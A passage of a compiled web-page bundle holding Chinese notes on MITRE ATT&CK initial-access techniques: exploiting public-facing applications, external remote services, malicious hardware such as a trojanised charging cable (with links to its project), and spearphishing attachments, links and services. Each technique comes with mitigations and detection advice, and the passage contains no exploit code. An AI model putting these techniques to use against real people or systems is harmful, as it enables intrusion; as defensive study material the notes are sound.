检测")],-1),O={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},K={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},X={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},z=e("p",null,"防火墙和代理可以检查 URL 是否存在潜在的已知错误域或参数。他们还可以对网站及其请求的资源进行基于声誉的分析,例如域的年龄、注册者、是否在已知的不良列表中,或者之前有多少其他用户连接过该域。",-1),G={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},j={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},J={href:"https://attack.mitre.org/datasources/DS0022/#File%20Creation",target:"_blank",rel:"noopener noreferrer"},Q=e("p",null,"监视写入磁盘的新构建文件,以便通过在正常浏览过程中访问网站的用户访问系统。",-1),Y={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Z={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},$={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Connection%20Creation",target:"_blank",rel:"noopener noreferrer"},ee=e("p",null,"监视与用于发送或接收数据的不受信任主机的新建网络连接。",-1),te={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},re=e("p",null,"监视其他异常的网络流量,这些流量可能表明向系统传输了额外的工具。使用网络入侵检测系统(有时使用 SSL/TLS 检查)来查找已知的恶意脚本(侦察、堆喷射和浏览器识别脚本经常被重复使用)、常见的脚本混淆和利用代码。",-1),oe={href:"https://attack.mitre.org/datasources/DS0009",target:"_blank",rel:"noopener noreferrer"},ne={href:"https://attack.mitre.org/datasources/DS0009",target:"_blank",rel:"noopener noreferrer"},ae={href:"https://attack.mitre.org/datasources/DS0009/#Process%20Creation",target:"_blank",rel:"noopener noreferrer"},se=e("p",null,"在端点系统上寻找可能表明受到损害的行为,例如浏览器进程的异常行为。这可能包括写入磁盘的可疑文件、试图隐藏执行的进程注入证据或发现证据。",-1),ie=e("hr",null,null,-1),le=e("h2",{id:"t1190-exploit-public-facing-application-利用公开漏洞",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1190-exploit-public-facing-application-利用公开漏洞","aria-hidden":"true"},"#"),t(" T1190 Exploit Public-Facing Application 利用公开漏洞")],-1),he={href:"https://attack.mitre.org/techniques/T1211",target:"_blank",rel:"noopener noreferrer"},ce=e("p",null,"攻击者可能会尝试利用面向互联网的计算机或程序中的弱点,使用软件、数据或命令来引起计划或意料外的行为。系统中的漏洞可能是bug、故障或是设计缺陷。这些应用程序通常是网站,但可以包括数据库(如 SQL)、标准服务(如 SMB 或 SSH)、网络设备管理和管理协议(如 SNMP 和Smart install)以及任何其他具有可访问 Internet 的开放式套接字的应用程序,例如 Web 服务器和相关服务。根据被利用的缺陷,这可能包括针对防御规避软件/措施的攻击利用",-1),_e=e("hr",null,null,-1),de=e("p",null,"利用软件、数据库、中间件、第三方库或存在漏洞的库等公开的漏洞,对目标系统进行攻击,以达到攻击未及时修补或升级的信息系统。 公开漏洞来源",-1),pe=e("ul",null,[e("li",null,"CVE、CNVD、CNNVD、exploit-db 等漏洞库"),e("li",null,"qq 群、推特、社区、论坛等社交平台"),e("li",null,"github")],-1),ue=e("hr",null,null,-1),ge=e("h3",{id:"缓解措施-1",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-1","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),fe={href:"https://attack.mitre.org/mitigations/M1048",target:"_blank",rel:"noopener noreferrer"},me={href:"https://attack.mitre.org/mitigations/M1048",target:"_blank",rel:"noopener noreferrer"},ke=e("p",null,"应用程序隔离将限制被利用目标可以访问的其他进程和系统功能。",-1),be={href:"https://attack.mitre.org/mitigations/M1050",target:"_blank",rel:"noopener noreferrer"},Se={href:"https://attack.mitre.org/mitigations/M1050",target:"_blank",rel:"noopener noreferrer"},Me=e("p",null,"Web 应用程序防火墙可用于限制应用程序的暴露,以防止利用流量到达应用程序",-1),De={href:"https://attack.mitre.org/mitigations/M1030",target:"_blank",rel:"noopener noreferrer"},we={href:"https://attack.mitre.org/mitigations/M1030",target:"_blank",rel:"noopener noreferrer"},ve=e("p",null,"使用 DMZ 或在单独的托管基础设施上将面向外部的服务器和服务与网络的其余部分分开。",-1),Ae={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},ye={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},Ce=e("p",null,"对服务帐户使用最小权限将限制被利用进程在系统其余部分获得的权限。",-1),Te={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},xe={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},Le=e("p",null,"通过对外部暴露的应用程序采用补丁管理来定期更新软件。",-1),Ne={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},Pe={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},Fe=e("p",null,"定期扫描面向外部的系统是否存在漏洞,并建立程序以在通过扫描和公开披露发现严重漏洞时快速修补系统",-1),Ie=e("hr",null,null,-1),Ee=e("h3",{id:"检测-1",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-1","aria-hidden":"true"},"#"),t(" 检测")],-1),Ue={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},We={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},qe={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},Be=e("p",null,"根据可用的工具,检测软件利用可能很困难。软件漏洞利用可能并不总是成功,或者可能导致被利用的进程变得不稳定或崩溃。 Web 应用程序防火墙可能会检测到试图利用的不当输入。",-1),Re={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Ve={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},He={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},Oe=e("p",null,"使用深度数据包检测来查找常见漏洞利用流量的工件,例如 SQL 注入字符串或已知有效负载。",-1),Ke=e("hr",null,null,-1),Xe=e("h2",{id:"t1133-external-remote-services-外部远程服务",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1133-external-remote-services-外部远程服务","aria-hidden":"true"},"#"),t(" T1133 External Remote Services 外部远程服务")],-1),ze={href:"https://attack.mitre.org/techniques/T1021/006",target:"_blank",rel:"noopener noreferrer"},Ge={href:"https://attack.mitre.org/techniques/T1021/005",target:"_blank",rel:"noopener noreferrer"},je=e("p",null,"攻击者可能会利用面向外部的远程服务来最初访问和/或保留在网络中。 VPN、Citrix 和其他访问机制等远程服务允许用户从外部位置连接到内部企业网络资源。通常有远程服务网关管理这些服务的连接和凭证认证。也可以在外部使用 Windows 远程管理和 VNC 等服务。",-1),Je=e("p",null,"通常需要访问有效帐户来使用该服务,这可以通过凭证嫁接或在危及企业网络后从用户处获得凭证来实现。在操作期间,可以将对远程服务的访问用作冗余访问的一部分",-1),Qe=e("p",null,"远程服务:VPN、Citrix、SSH、Windows 远程桌面、TeamViewer、 EasyConnect",-1),Ye=e("hr",null,null,-1),Ze=e("h3",{id:"缓解措施-2",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-2","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),$e={href:"https://attack.mitre.org/mitigations/M1042",target:"_blank",rel:"noopener noreferrer"},et={href:"https://attack.mitre.org/mitigations/M1042",target:"_blank",rel:"noopener noreferrer"},tt=e("p",null,"禁用或阻止可能不需要的远程可用服务。",-1),rt={href:"https://attack.mitre.org/mitigations/M1035",target:"_blank",rel:"noopener noreferrer"},ot={href:"https://attack.mitre.org/mitigations/M1035",target:"_blank",rel:"noopener noreferrer"},nt=e("p",null,"通过集中管理的集中器(如 VPN 和其他管理的远程访问系统)限制对远程服务的访问。",-1),at={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},st={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},it=e("p",null,"对远程服务帐户使用强大的双因素或多因素身份验证来减轻对手利用被盗凭据的能力,但要注意某些双因素身份验证实施的多因素身份验证拦截技术。",-1),lt={href:"https://attack.mitre.org/mitigations/M1030",target:"_blank",rel:"noopener noreferrer"},ht={href:"https://attack.mitre.org/mitigations/M1030",target:"_blank",rel:"noopener noreferrer"},ct=e("p",null,"拒绝通过使用网络代理、网关和防火墙直接远程访问内部系统。",-1),_t=e("hr",null,null,-1),dt=e("h3",{id:"检测-2",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-2","aria-hidden":"true"},"#"),t(" 检测")],-1),pt={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},ut={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},gt={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},ft=e("p",null,"当访问公开的远程服务不需要身份验证时,监视后续活动,例如公开的 API 或应用程序的异常外部使用。",-1),mt={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},kt={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},bt={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Metadata",target:"_blank",rel:"noopener noreferrer"},St=e("p",null,"遵循检测攻击者使用有效帐户对远程服务进行身份验证的最佳做法。收集身份验证日志并分析异常访问模式、活动窗口和正常工作时间以外的访问。",-1),Mt={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Dt={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},wt={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Connection%20Creation",target:"_blank",rel:"noopener noreferrer"},vt=e("p",null,"监视新构建的网络连接,这些连接可能使用有效帐户访问和/或持久存在于使用外部远程服务的网络中。根据环境及其使用方式,使用外部远程服务可能是合法的。其他因素,例如远程登录后发生的访问模式和活动,可能表示使用外部远程服务的可疑或恶意行为。",-1),At={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},yt=e("p",null,"监控和分析与不遵循预期协议标准和流量流的协议相关的流量模式和数据包检查(例如,不属于已建立流量的无关数据包、无偿或异常流量模式、异常语法或结构)。考虑与流程监控和命令行的相关性,以检测与流量模式相关的异常流程执行和命令行参数(例如,监控使用通常不会为相应协议启动连接的文件的异常情况)。",-1),Ct={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Flow",target:"_blank",rel:"noopener noreferrer"},Tt=e("p",null,"监视源自未知/意外硬件设备的网络流量。本地网络流量元数据(例如源 MAC 地址)以及网络管理协议(例如 DHCP)的使用可能有助于识别硬件。",-1),xt=e("hr",null,null,-1),Lt=e("h2",{id:"t1200-hardware-additions-硬件攻击",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1200-hardware-additions-硬件攻击","aria-hidden":"true"},"#"),t(" T1200 Hardware Additions 硬件攻击")],-1),Nt={href:"https://attack.mitre.org/techniques/T1091",target:"_blank",rel:"noopener noreferrer"},Pt=e("p",null,"攻击者可能会将计算机配件、网络硬件或其他计算设备引入系统或网络中,这些系统或网络可用作获取访问权限的载体。不仅仅是通过可移动存储连接和分发有效负载(即通过可移动媒体进行复制),还可以使用更强大的硬件添加来将新功能和/或特性引入系统,然后这些功能和/或特性可能会被滥用。",-1),Ft=e("p",null,"商业和开源产品的功能包括被动网络窃听,打破中间人加密,击键注入,通过 DMA 读取内核内存,增加新的无线接入现有网络等。",-1),It=e("p",null,"可添加的硬件:U 盘、鼠标、键盘、硬盘、智能设备、摄像头、打印机、USB 数据线、Pineapple 等",-1),Et=e("hr",null,null,-1),Ut={id:"通过一根数据线控制你的-mac",tabindex:"-1"},Wt=e("a",{class:"header-anchor",href:"#通过一根数据线控制你的-mac","aria-hidden":"true"},"#",-1),qt={href:"http://mg.lol/blog/defcon-2019/",target:"_blank",rel:"noopener noreferrer"},Bt=e("p",null,"一根经过特殊定制的苹果手机充电器,使用它连接苹果电脑后,可以通过植入木马远程操控电脑。",-1),Rt=e("p",null,"参考链接:",-1),Vt={href:"https://mp.weixin.qq.com/s/bnbODlzMn7_vCgWyfm4Rsg",target:"_blank",rel:"noopener noreferrer"},Ht={href:"https://github.com/O-MG/DemonSeed",target:"_blank",rel:"noopener noreferrer"},Ot=e("hr",null,null,-1),Kt=e("h3",{id:"缓解措施-3",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-3","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),Xt={href:"https://attack.mitre.org/mitigations/M1035",target:"_blank",rel:"noopener noreferrer"},zt={href:"https://attack.mitre.org/mitigations/M1035",target:"_blank",rel:"noopener noreferrer"},Gt=e("p",null,"建立网络访问控制策略,例如使用设备证书和 802.1x 标准。 将 DHCP 的使用限制在已注册的设备上,以防止未注册的设备与受信任的系统通信。",-1),jt={href:"https://attack.mitre.org/mitigations/M1034",target:"_blank",rel:"noopener noreferrer"},Jt={href:"https://attack.mitre.org/mitigations/M1034",target:"_blank",rel:"noopener noreferrer"},Qt=e("p",null,"通过端点安全配置和监控代理阻止未知设备和附件。",-1),Yt=e("hr",null,null,-1),Zt=e("h3",{id:"检测-3",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-3","aria-hidden":"true"},"#"),t(" 检测")],-1),$t={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},er={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},tr={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},rr=e("p",null,"配置管理数据库 (CMDB) 和其他资产管理系统可能有助于检测网络上不应存在的计算机系统或网络设备。",-1),or={href:"https://attack.mitre.org/datasources/DS0016",target:"_blank",rel:"noopener noreferrer"},nr={href:"https://attack.mitre.org/datasources/DS0016",target:"_blank",rel:"noopener noreferrer"},ar={href:"https://attack.mitre.org/datasources/DS0016/#Drive%20Creation",target:"_blank",rel:"noopener noreferrer"},sr=e("p",null,"监视与连接到系统的计算机硬件和其他附件(尤其是新的或未知的)相关的新建驱动器或其他相关事件。端点传感器可能能够检测到通过 USB、Thunderbolt 和其他外部设备通信端口添加的硬件。",-1),ir={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},lr={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},hr={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Flow",target:"_blank",rel:"noopener noreferrer"},cr=e("p",null,"监视源自未知/意外硬件设备的网络流量。本地网络流量元数据(例如源 MAC 地址)以及网络管理协议(例如 DHCP)的使用可能有助于识别硬件。",-1),_r=e("hr",null,null,-1),dr=e("h2",{id:"t1566-phishing-钓鱼",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1566-phishing-钓鱼","aria-hidden":"true"},"#"),t(" T1566 Phishing 钓鱼")],-1),pr=e("p",null,"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.",-1),ur=e("p",null,"攻击者可能会发送网络钓鱼消息以获得对受害系统的访问权限。所有形式的网络钓鱼都是以电子方式进行的社会工程。网络钓鱼可以有针对性,称为鱼叉式网络钓鱼。在鱼叉式网络钓鱼中,特定的个人、公司或行业将成为攻击者的目标。更一般地说,攻击者可以进行无针对性的网络钓鱼,例如大规模恶意软件垃圾邮件活动。",-1),gr=e("hr",null,null,-1),fr=e("h3",{id:"t1566-001-separphing-attachment-钓鱼附件",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1566-001-separphing-attachment-钓鱼附件","aria-hidden":"true"},"#"),t(" T1566.001 Separphing Attachment 钓鱼附件")],-1),mr={href:"https://attack.mitre.org/techniques/T1204",target:"_blank",rel:"noopener noreferrer"},kr=e("p",null,"攻击者可能会发送带有恶意附件的鱼叉式网络钓鱼电子邮件,以试图获得对受害系统的访问权限。鱼叉式网络钓鱼附件是鱼叉式网络钓鱼的一种特定变体。鱼叉式网络钓鱼附件不同于其他形式的鱼叉式网络钓鱼,因为它使用附加到电子邮件的恶意软件。所有形式的鱼叉式网络钓鱼都是针对特定个人、公司或行业的电子交付社会工程。在这种情况下,攻击者将文件附加到鱼叉式网络钓鱼电子邮件中,并且通常依靠用户执行来获得执行。鱼叉式网络钓鱼还可能涉及社会工程技术,例如冒充可信来源。",-1),br=e("hr",null,null,-1),Sr=e("p",null,"附件有许多选项,例如 Microsoft Office 文档,可执行文件,PDF 或存档文件。打开附件后,攻击者的有效负载会利用漏洞或直接在用户的系统上执行。",-1),Mr=e("p",null,"鱼叉式网络钓鱼电子邮件的文本通常试图给出一个合理的理由, 说明为什么要打开文件,并且可以解释如何绕过系统保护以便这样做。该电子邮件还可能包含有关如何解密附件的说明,例如 zip 文件密码,以逃避电子邮件边界防御。攻击者经常操纵文件扩展名和图标,以使附加的可执行文件看起来像是文档文件,或者利用一个应用程序的文件看起来是另 一个应用程序的文件",-1),Dr=e("hr",null,null,-1),wr=e("h4",{id:"缓解措施-4",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-4","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),vr={href:"https://attack.mitre.org/mitigations/M1049",target:"_blank",rel:"noopener noreferrer"},Ar={href:"https://attack.mitre.org/mitigations/M1049",target:"_blank",rel:"noopener noreferrer"},yr=e("p",null,"防病毒软件还可以自动隔离可疑文件。",-1),Cr={href:"https://attack.mitre.org/mitigations/M1031",target:"_blank",rel:"noopener noreferrer"},Tr={href:"https://attack.mitre.org/mitigations/M1031",target:"_blank",rel:"noopener noreferrer"},xr=e("p",null,"网络入侵防御系统和旨在扫描和删除恶意电子邮件附件的系统可用于阻止活动。",-1),Lr={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},Nr={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},Pr=e("p",null,[t("默认情况下阻止不应通过电子邮件传输的未知或未使用的附件,作为防止某些矢量(如 "),e("code",null,".scr、.exe、.pif、.cpl"),t(" 等)的最佳做法。一些电子邮件扫描设备可以打开和分析压缩和加密 zip 和 rar 等格式,可用于隐藏恶意附件。")],-1),Fr={href:"https://attack.mitre.org/mitigations/M1054",target:"_blank",rel:"noopener noreferrer"},Ir={href:"https://attack.mitre.org/mitigations/M1054",target:"_blank",rel:"noopener noreferrer"},Er=e("p",null,"使用反欺骗和电子邮件身份验证机制,根据发件人域的有效性检查(使用 SPF)和邮件的完整性(使用 DKIM)来过滤邮件。在组织内启用这些机制(通过 DMARC 等策略)可能使收件人(组织内和跨域)能够执行类似的消息过滤和验证。",-1),Ur={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},Wr={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},qr=e("p",null,"可以训练用户识别社会工程技术和鱼叉式网络钓鱼电子邮件。",-1),Br=e("hr",null,null,-1),Rr=e("h4",{id:"检测-4",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-4","aria-hidden":"true"},"#"),t(" 检测")],-1),Vr={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},Hr={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},Or={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},Kr=e("p",null,"监控第三方应用程序日志记录、消息传递和/或其他可能发送带有恶意附件的鱼叉式网络钓鱼电子邮件以试图访问受害系统的工件。基于 DKIM+SPF 或标头分析的过滤有助于检测电子邮件发件人何时被欺骗。",-1),Xr=e("p",null,"当恶意文档和附件被扫描并存储在电子邮件服务器或用户计算机上时,防病毒软件可能会检测到它们。监控从 Microsoft Office 和其他生产力软件产生的可疑后代进程。",-1),zr={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},Gr={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},jr={href:"https://attack.mitre.org/datasources/DS0022/#File%20Creation",target:"_blank",rel:"noopener noreferrer"},Jr=e("p",null,"从带有恶意附件的鱼叉式网络钓鱼电子邮件中监控新构建的文件,以试图访问受害系统。",-1),Qr={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Yr={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Zr={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},$r=e("p",null,"监控和分析与不遵循预期协议标准和流量的协议相关的 SSL/TLS 流量模式和数据包检查(例如,不属于已建立流量的无关数据包、无故或异常流量模式、异常语法或结构)。考虑与流程监控和命令行的相关性,以检测与流量模式相关的异常流程执行和命令行参数(例如,监控使用通常不会为相应协议启动连接的文件的异常情况)。基于 DKIM+SPF 或标头分析的过滤有助于检测电子邮件发件人何时被欺骗",-1),eo={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Flow",target:"_blank",rel:"noopener noreferrer"},to=e("p",null,"监视网络数据中不常见的数据流。使用通常不具有网络通信或以前从未见过的网络的进程是可疑的。",-1),ro=e("hr",null,null,-1),oo=e("h3",{id:"t1566-002-spearphishing-link-钓鱼链接",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1566-002-spearphishing-link-钓鱼链接","aria-hidden":"true"},"#"),t(" T1566.002 Spearphishing Link 钓鱼链接")],-1),no=e("p",null,"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.",-1),ao=e("p",null,"攻击者可能会发送带有恶意链接的鱼叉式网络钓鱼电子邮件,以试图获得对受害系统的访问权限。带有链接的鱼叉式网络钓鱼是鱼叉式网络钓鱼的一种特定变体。它不同于其他形式的鱼叉式网络钓鱼,因为它使用链接下载电子邮件中包含的恶意软件,而不是将恶意文件附加到电子邮件本身,以避免可能检查电子邮件附件的防御措施。鱼叉式网络钓鱼还可能涉及社会工程技术,例如冒充可信来源。",-1),so=e("p",null,"所有形式的鱼叉式网络钓鱼都是以电子方式提供的针对特定个人,公司或行业的社会工程。在这种情况下,恶意电子邮件包含链接。通常,链接将 伴随社会工程文本,并要求用户主动点击或复制并将 URL 粘贴到浏览器中,从而利用用户执行。被访问的网站可能使用漏洞攻击来破坏 Web 浏览器,或者用户会被提示下载应用程序、文档、zip 文件,甚至是可执行文件,这首先取决于电子邮件的借口。攻击者还可以包括旨在与电子邮件阅读器直接交互的链接,包括旨在直接利用终端系统的嵌入式图像或验证电子邮件的接收(即网络错误/网络信标)",-1),io=e("hr",null,null,-1),lo=e("h4",{id:"缓解措施-5",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-5","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),ho={href:"https://attack.mitre.org/mitigations/M1047",target:"_blank",rel:"noopener noreferrer"},co={href:"https://attack.mitre.org/mitigations/M1047",target:"_blank",rel:"noopener noreferrer"},_o=e("p",null,"审核应用程序及其权限,以确保根据必要性和最小特权原则限制对数据和资源的访问。",-1),po={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},uo={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},go=e("p",null,"确定某些可用于鱼叉式网络钓鱼的网站是否是业务运营所必需的,并在无法很好地监控活动或构成重大风险时考虑阻止访问。",-1),fo={href:"https://attack.mitre.org/mitigations/M1054",target:"_blank",rel:"noopener noreferrer"},mo={href:"https://attack.mitre.org/mitigations/M1054",target:"_blank",rel:"noopener noreferrer"},ko=e("p",null,"使用反欺骗和电子邮件身份验证机制,根据发件人域的有效性检查(使用 SPF)和邮件的完整性(使用 DKIM)来过滤邮件。在组织内启用这些机制(通过 DMARC 等策略)可能使收件人(组织内和跨域)能够执行类似的消息过滤和验证",-1),bo=e("p",null,"此外,政策可能会强制执行/安装浏览器扩展以防止 IDN 和同形异义词攻击。",-1),So={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Mo={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Do=e("p",null,"Azure AD 管理员对用户向不熟悉或未经验证的第三方应用程序授予同意的能力施加限制。",-1),wo={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},vo={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},Ao=e("p",null,"可以训练用户识别社会工程技术和带有恶意链接的鱼叉式网络钓鱼电子邮件,其中包括使用 OAuth 2.0 同意的网络钓鱼。此外,用户可以对他们访问的域进行目视检查;但是,ASCII 和 IDN 域中的同形异义词可能会使手动检查变得困难。网络钓鱼培训和其他网络安全培训可能会提高人们在访问网站之前检查 URL 的意识。",-1),yo=e("hr",null,null,-1),Co=e("h4",{id:"检测-5",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-5","aria-hidden":"true"},"#"),t(" 检测")],-1),To={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},xo={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},Lo={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},No=e("p",null,"监控第三方应用程序日志记录、消息传递和/或其他可能发送带有恶意链接的鱼叉式网络钓鱼电子邮件以试图访问受害系统的工件。基于 DKIM+SPF 或标头分析的过滤有助于检测电子邮件发件人何时被欺骗。电子邮件中的 URL 检查(包括扩展缩短的链接)可以帮助检测指向已知恶意站点的链接。引爆室可用于检测这些链接,并自动转到这些站点以确定它们是否具有潜在恶意,或者在用户访问该链接时等待并捕获内容。",-1),Po={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Fo={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Io={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},Eo=e("p",null,"监控和分析与不遵循预期协议标准和流量的协议相关的 SSL/TLS 流量模式和数据包检查(例如,不属于已建立流量的无关数据包、无故或异常流量模式、异常语法或结构)。考虑与流程监控和命令行的相关性,以检测与流量模式相关的异常流程执行和命令行参数(例如,监控使用通常不会为相应协议启动连接的文件的异常情况)。",-1),Uo=e("p",null,"此外,通过使用滥用不同字符集的国际化域名(例如受信任站点的西里尔文与拉丁文版本),监控克隆站点和同形异义词的网络流量。",-1),Wo={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Flow",target:"_blank",rel:"noopener noreferrer"},qo=e("p",null,"监视网络数据中不常见的数据流。使用通常不具有网络通信或以前从未见过的网络的进程是可疑的。",-1),Bo=e("hr",null,null,-1),Ro={id:"t1566-003-spearphishing-via-service-通过服务器进行鱼叉式网络钓鱼",tabindex:"-1"},Vo=e("a",{class:"header-anchor",href:"#t1566-003-spearphishing-via-service-通过服务器进行鱼叉式网络钓鱼","aria-hidden":"true"},"#",-1),Ho={href:"https://attack.mitre.org/techniques/T1566/003",target:"_blank",rel:"noopener noreferrer"},Oo=e("p",null,"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.",-1),Ko=e("p",null,"攻击者可能会通过第三方服务发送鱼叉式网络钓鱼消息,试图访问受害系统。通过服务进行的鱼叉式网络钓鱼是鱼叉式网络钓鱼的一种特定变体。它不同于其他形式的鱼叉式网络钓鱼,因为它使用第三方服务而不是直接通过企业电子邮件渠道。",-1),Xo=e("p",null,"所有形式的鱼叉式网络钓鱼都是以电子方式提供的针对特定个人,公司或行业的社会工程。在这种情况下,攻击者通过各种社交媒体服务,个人网络邮件和其他非企业控制的服务发送消息。与企业相比,这些服务更可能具有不太严格的安全策略。与大多数类型的鱼叉式网络钓鱼一样,所发送的服务是与目标产生融洽关系,或以某种方式获得目标的兴趣。攻击者会创建虚假的社交媒体帐户,并向员工发送潜在工作机会的信息。",-1),zo=e("p",null,"这样做可以提供一个合理的理由来询问在环境中运行的服务、策略和软件。然后, 攻击者可以通过这些服务发送恶意链接或附件。 